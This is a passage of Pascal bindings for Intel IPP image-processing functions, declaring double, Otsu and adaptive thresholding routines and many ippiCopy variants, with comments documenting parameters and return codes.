function ippiThreshold_LTVal_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16u_4 ; const value : Ipp16u_4): IppStatus; _ippapi
function ippiThreshold_LTVal_16u_C4IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16u_4 ; const value : Ipp16u_4): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiThreshold_LTValGTVal_8u_C1R
ippiThreshold_LTValGTVal_8u_C3R
ippiThreshold_LTValGTVal_8u_AC4R
ippiThreshold_LTValGTVal_16s_C1R
ippiThreshold_LTValGTVal_16s_C3R
ippiThreshold_LTValGTVal_16s_AC4R
ippiThreshold_LTValGTVal_32f_C1R
ippiThreshold_LTValGTVal_32f_C3R
ippiThreshold_LTValGTVal_32f_AC4R
ippiThreshold_LTValGTVal_16u_C1R
ippiThreshold_LTValGTVal_16u_C3R
ippiThreshold_LTValGTVal_16u_AC4R
Purpose: Performs double thresholding of pixel values
Returns:
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
ippStsThresholdErr thresholdLT > thresholdGT
ippStsStepErr One of the step values is zero or negative
Parameters:
/ Parameters:
pSrc Pointer to the source image
srcStep Step through the source image
pDst Pointer to the destination image
dstStep Step through the destination image
pSrcDst Pointer to the source/destination image (in-place flavors)
srcDstStep Step through the source/destination image (in-place flavors)
roiSize Size of the ROI
thresholdLT Lower threshold value (array of values for multi-channel data)
valueLT Lower output value (array or values for multi-channel data)
thresholdGT Upper threshold value (array of values for multi-channel data)
valueGT Upper output value (array or values for multi-channel data)
}
function ippiThreshold_LTValGTVal_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; thresholdLT : Ipp8u ; valueLT : Ipp8u ; thresholdGT : Ipp8u ; valueGT : Ipp8u ): IppStatus; _ippapi
function ippiThreshold_LTValGTVal_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; thresholdLT : Ipp16s ; valueLT : Ipp16s ; thresholdGT : Ipp16s ; valueGT : Ipp16s ): IppStatus; _ippapi
function ippiThreshold_LTValGTVal_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; thresholdLT : Ipp32f ; valueLT : Ipp32f ; thresholdGT : Ipp32f ; valueGT : Ipp32f ): IppStatus; _ippapi
function ippiThreshold_LTValGTVal_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const thresholdLT : Ipp8u_3 ; const valueLT : Ipp8u_3 ; const thresholdGT : Ipp8u_3 ; const valueGT : Ipp8u_3): IppStatus; _ippapi
function ippiThreshold_LTValGTVal_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; const thresholdLT : Ipp16s_3 ; const valueLT : Ipp16s_3 ; const thresholdGT : Ipp16s_3 ; const valueGT : Ipp16s_3): IppStatus; _ippapi
function ippiThreshold_LTValGTVal_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; const thresholdLT : Ipp32f_3 ; const valueLT : Ipp32f_3 ; const thresholdGT : Ipp32f_3 ; const valueGT : Ipp32f_3): IppStatus; _ippapi
function ippiThreshold_LTValGTVal_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const thresholdLT : Ipp8u_3 ; const valueLT : Ipp8u_3 ; const thresholdGT : Ipp8u_3 ; const valueGT : Ipp8u_3): IppStatus; _ippapi
function ippiThreshold_LTValGTVal_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; const thresholdLT : Ipp16s_3 ; const valueLT : Ipp16s_3 ; const thresholdGT : Ipp16s_3 ; const valueGT : Ipp16s_3): IppStatus; _ippapi
function ippiThreshold_LTValGTVal_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; const thresholdLT : Ipp32f_3 ; const valueLT : Ipp32f_3 ; const thresholdGT : Ipp32f_3 ; const valueGT : Ipp32f_3): IppStatus; _ippapi
function ippiThreshold_LTValGTVal_8u_C1IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; thresholdLT : Ipp8u ; valueLT : Ipp8u ; thresholdGT : Ipp8u ; valueGT : Ipp8u ): IppStatus; _ippapi
function ippiThreshold_LTValGTVal_16s_C1IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; thresholdLT : Ipp16s ; valueLT : Ipp16s ; thresholdGT : Ipp16s ; valueGT : Ipp16s ): IppStatus; _ippapi
function ippiThreshold_LTValGTVal_32f_C1IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; thresholdLT : Ipp32f ; valueLT : Ipp32f ; thresholdGT : Ipp32f ; valueGT : Ipp32f ): IppStatus; _ippapi
function ippiThreshold_LTValGTVal_8u_C3IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const thresholdLT : Ipp8u_3 ; const valueLT : Ipp8u_3 ; const thresholdGT : Ipp8u_3 ; const valueGT : Ipp8u_3): IppStatus; _ippapi
function ippiThreshold_LTValGTVal_16s_C3IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const thresholdLT : Ipp16s_3 ; const valueLT : Ipp16s_3 ; const thresholdGT : Ipp16s_3 ; const valueGT : Ipp16s_3): IppStatus; _ippapi
function ippiThreshold_LTValGTVal_32f_C3IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const thresholdLT : Ipp32f_3 ; const valueLT : Ipp32f_3 ; const thresholdGT : Ipp32f_3 ; const valueGT : Ipp32f_3): IppStatus; _ippapi
function ippiThreshold_LTValGTVal_8u_AC4IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const thresholdLT : Ipp8u_3 ; const valueLT : Ipp8u_3 ; const thresholdGT : Ipp8u_3 ; const valueGT : Ipp8u_3): IppStatus; _ippapi
function ippiThreshold_LTValGTVal_16s_AC4IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const thresholdLT : Ipp16s_3 ; const valueLT : Ipp16s_3 ; const thresholdGT : Ipp16s_3 ; const valueGT : Ipp16s_3): IppStatus; _ippapi
function ippiThreshold_LTValGTVal_32f_AC4IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const thresholdLT : Ipp32f_3 ; const valueLT : Ipp32f_3 ; const thresholdGT : Ipp32f_3 ; const valueGT : Ipp32f_3): IppStatus; _ippapi
function ippiThreshold_LTValGTVal_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; thresholdLT : Ipp16u ; valueLT : Ipp16u ; thresholdGT : Ipp16u ; valueGT : Ipp16u ): IppStatus; _ippapi
function ippiThreshold_LTValGTVal_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const thresholdLT : Ipp16u_3 ; const valueLT : Ipp16u_3 ; const thresholdGT : Ipp16u_3 ; const valueGT : Ipp16u_3): IppStatus; _ippapi
function ippiThreshold_LTValGTVal_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const thresholdLT : Ipp16u_3 ; const valueLT : Ipp16u_3 ; const thresholdGT : Ipp16u_3 ; const valueGT : Ipp16u_3): IppStatus; _ippapi
function ippiThreshold_LTValGTVal_16u_C1IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; thresholdLT : Ipp16u ; valueLT : Ipp16u ; thresholdGT : Ipp16u ; valueGT : Ipp16u ): IppStatus; _ippapi
function ippiThreshold_LTValGTVal_16u_C3IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const thresholdLT : Ipp16u_3 ; const valueLT : Ipp16u_3 ; const thresholdGT : Ipp16u_3 ; const valueGT : Ipp16u_3): IppStatus; _ippapi
function ippiThreshold_LTValGTVal_16u_AC4IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const thresholdLT : Ipp16u_3 ; const valueLT : Ipp16u_3 ; const thresholdGT : Ipp16u_3 ; const valueGT : Ipp16u_3): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiComputeThreshold_Otsu_8u_C1R
Purpose: Calculate Otsu theshold value of images
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
ippStsStepErr The steps in images is less ROI
Parameters:
pSrc Pointer to image
srcStep Image step
roiSize Size of image ROI
pThreshold Returned Otsu theshold value
}
function ippiComputeThreshold_Otsu_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pThreshold : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Adaptive threshold functions
----------------------------------------------------------------------------
Name: ippiThresholdAdaptiveBoxGetBufferSize
ippiThresholdAdaptiveGaussGetBufferSize
Purpose: to define spec and buffer sizes for adaptive threshold
Parameters:
roiSize Size of the destination ROI in pixels.
maskSize Size of kernel for calculation of threshold level.
Width and height of maskSize must be equal and odd.
dataType Data type of the source and destination images. Possible value is ipp8u.
numChannels Number of channels in the images. Possible value is 1.
pSpecSize Pointer to the computed value of the spec size.
pBufferSize Pointer to the computed value of the external buffer size.
Return:
ippStsNoErr OK
ippStsNullPtrErr any pointer is NULL
ippStsSizeErr size of dstRoiSize is less or equal 0
ippStsMaskSizeErr fields of maskSize are not equak or ones are less or equal 0
ippStsDataTypeErr Indicates an error when dataType has an illegal value.
ippStsNumChannelsErr Indicates an error when numChannels has an illegal value.
}
function ippiThresholdAdaptiveBoxGetBufferSize( roiSize : IppiSize ; maskSize : IppiSize ; dataType : IppDataType ; numChannels : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiThresholdAdaptiveGaussGetBufferSize( roiSize : IppiSize ; maskSize : IppiSize ; dataType : IppDataType ; numChannels : Int32 ; var pSpecSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiFilterThresholdGaussAdaptiveInit
Purpose: initialization of Spec for adaptive threshold
Parameters:
roiSize Size of the destination ROI in pixels.
maskSize Size of kernel for calculation of threshold level.
Width and height of maskSize must be equal and odd.
dataType Data type of the source and destination images. Possible value is ipp8u.
numChannels Number of channels in the images. Possible value is 1.
sigma value of sigma for calculation of threshold level for Gauss-method,
if sigma value is less or equal zero than sigma is set automatically
in compliance with kernel size, in this cases
sigma = 0.3*(maskSize.width-1)*0.5-1)+0.8;
pSpec pointer to Spec
Return:
ippStsNoErr OK
ippStsNullPtrErr pointer to Spec is NULL
ippStsSizeErr size of dstRoiSize is less or equal 0
ippStsMaskSizeErr size of kernel for calculation of threshold level.
Width and height of maskSize must be equal and odd.
ippStsDataTypeErr Indicates an error when dataType has an illegal value.
ippStsNumChannelsErr Indicates an error when numChannels has an illegal value.
}
function ippiThresholdAdaptiveGaussInit( roiSize : IppiSize ; maskSize : IppiSize ; dataType : IppDataType ; numChannels : Int32 ; sigma : Ipp32f ; pSpec : IppiThresholdAdaptiveSpecPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiThresholdAdaptiveBox_8u_C1R
ippiThresholdAdaptiveThreshold_8u_C1R
Purpose: to executes adaptive threshold operation
Parameters:
pSrc Pointer to the source image ROI.
srcStep Distance in bytes between starts of consecutive lines in the source image.
pDst Pointer to the destination image ROI.
dstStep Distance in bytes between starts of consecutive lines in the destination image.
dstRoiSize Size of the destination ROI in pixels.
maskSize Size of kernel for calculation of threshold level.
Width and height of maskSize must be equal and odd.
delta value for calculation of threshold (subtrahend).
valGT output pixel if source pixel is great then threshold.
valLE output pixel if source pixel is less or equal threshold.
/ borderType Type of border.
borderValue Constant value to assign to pixels of the constant border. This parameter is applicable
only to the ippBorderConst border type.
pSpecSize Pointer to the computed value of the spec size.
pBufferSize Pointer to the computed value of the external buffer size.
Return:
ippStsNoErr OK
ippStsNullPtrErr any pointer is NULL
ippStsSizeErr size of dstRoiSize is less or equal 0
ippStsMaskSizeErr one of the fields of maskSize has a negative or zero value or
if the fields of maskSize are not equal
ippStsContextMatchErr spec is not match
ippStsBorderErr Indicates an error when borderType has illegal value.
Output pixels are calculated such:
pDst(x,y) = valGT if (pSrc(x,y) > T(x,y))
and
pDst(x,y) = valLE if (pSrc(x,y) <= T(x,y))
For ippiThresholdAdaptiveBox_8u_C1R:
T(x,y) is a mean of the kernelSize.width*kernelSize.height neighborhood of (x,y)-pixel
minus delta.
For ippiThresholdAdaptiveGauss_8u_C1R:
T(x,y) is a weighted sum (cross-correlation with a Gaussian window) of
the kernelSize.width*kernelSize.height neighborhood of (x,y)-pixel minus delta.
Coefficients of Gaussian window is separable.
Coefficients for row of separable Gaussian window:
Gi = A * exp(-(i-(kernelSize.width-1)/2)^2/(0.5 * sigma^2),
A is scale factor for
SUM(Gi) = 1 (i = 0,...,maskSize.width-1).
}
function ippiThresholdAdaptiveBox_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; maskSize : IppiSize ; delta : Ipp32f ; valGT : Ipp8u ; valLE : Ipp8u ; borderType : IppiBorderType ; borderValue : Ipp8u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiThresholdAdaptiveGauss_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; delta : Ipp32f ; valGT : Ipp8u ; valLE : Ipp8u ; borderType : IppiBorderType ; borderValue : Ipp8u ; pSpec : IppiThresholdAdaptiveSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiThresholdAdaptiveBox_8u_C1IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; maskSize : IppiSize ; delta : Ipp32f ; valGT : Ipp8u ; valLE : Ipp8u ; borderType : IppiBorderType ; borderValue : Ipp8u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiThresholdAdaptiveGauss_8u_C1IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; delta : Ipp32f ; valGT : Ipp8u ; valLE : Ipp8u ; borderType : IppiBorderType ; borderValue : Ipp8u ; pSpec : IppiThresholdAdaptiveSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Convert and Initialization functions
{ ----------------------------------------------------------------------------
Name: ippiCopyManaged
Purpose: copy pixel values from the source image to the destination image
Returns:
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
ippStsNoErr OK
Parameters:
pSrc Pointer to the source image buffer
srcStep Step in bytes through the source image buffer
pDst Pointer to the destination image buffer
dstStep Step in bytes through the destination image buffer
roiSize Size of the ROI
flags The logic sum of tags sets type of copying.
(IPP_TEMPORAL_COPY,IPP_NONTEMPORAL_STORE etc.)
}
function ippiCopyManaged_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; flags : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiCopy
Purpose: copy pixel values from the source image to the destination image
Returns:
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
ippStsNoErr OK
Parameters:
pSrc Pointer to the source image buffer
srcStep Step in bytes through the source image buffer
pDst Pointer to the destination image buffer
dstStep Step in bytes through the destination image buffer
roiSize Size of the ROI
pMask Pointer to the mask image buffer
maskStep Step in bytes through the mask image buffer
}
function ippiCopy_8u_C3C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_8u_C1C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_8u_C4C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_8u_C1C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_8u_C3CR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_8u_C4CR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_8u_AC4C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_8u_C3AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_8u_C1MR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiCopy_8u_C3MR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiCopy_8u_C4MR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiCopy_8u_AC4MR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiCopy_16s_C3C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_16s_C1C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_16s_C4C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_16s_C1C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_16s_C3CR( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_16s_C4CR( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_16s_AC4C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_16s_C3AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_16s_C1MR( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiCopy_16s_C3MR( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiCopy_16s_C4MR( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiCopy_16s_AC4MR( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiCopy_32f_C3C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_32f_C1C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_32f_C4C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_32f_C1C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_32f_C3CR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_32f_C4CR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_32f_AC4C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_32f_C3AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_32f_C1MR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiCopy_32f_C3MR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiCopy_32f_C4MR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiCopy_32f_AC4MR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiCopy_8u_C3P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_8u_P3C3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_8u_C4P4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_4Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_8u_P4C4R( pSrc : Ipp8u_4Ptr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_16s_C3P3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16s_3Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_16s_P3C3R( pSrc : Ipp16s_3Ptr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_16s_C4P4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16s_4Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_16s_P4C4R( pSrc : Ipp16s_4Ptr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_32f_C3P3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32f_3Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_32f_P3C3R( pSrc : Ipp32f_3Ptr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_32f_C4P4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32f_4Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_32f_P4C4R( pSrc : Ipp32f_4Ptr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_32s_C3C1R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_32s_C1C3R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_32s_C4C1R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_32s_C1C4R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_32s_C3CR( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_32s_C4CR( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
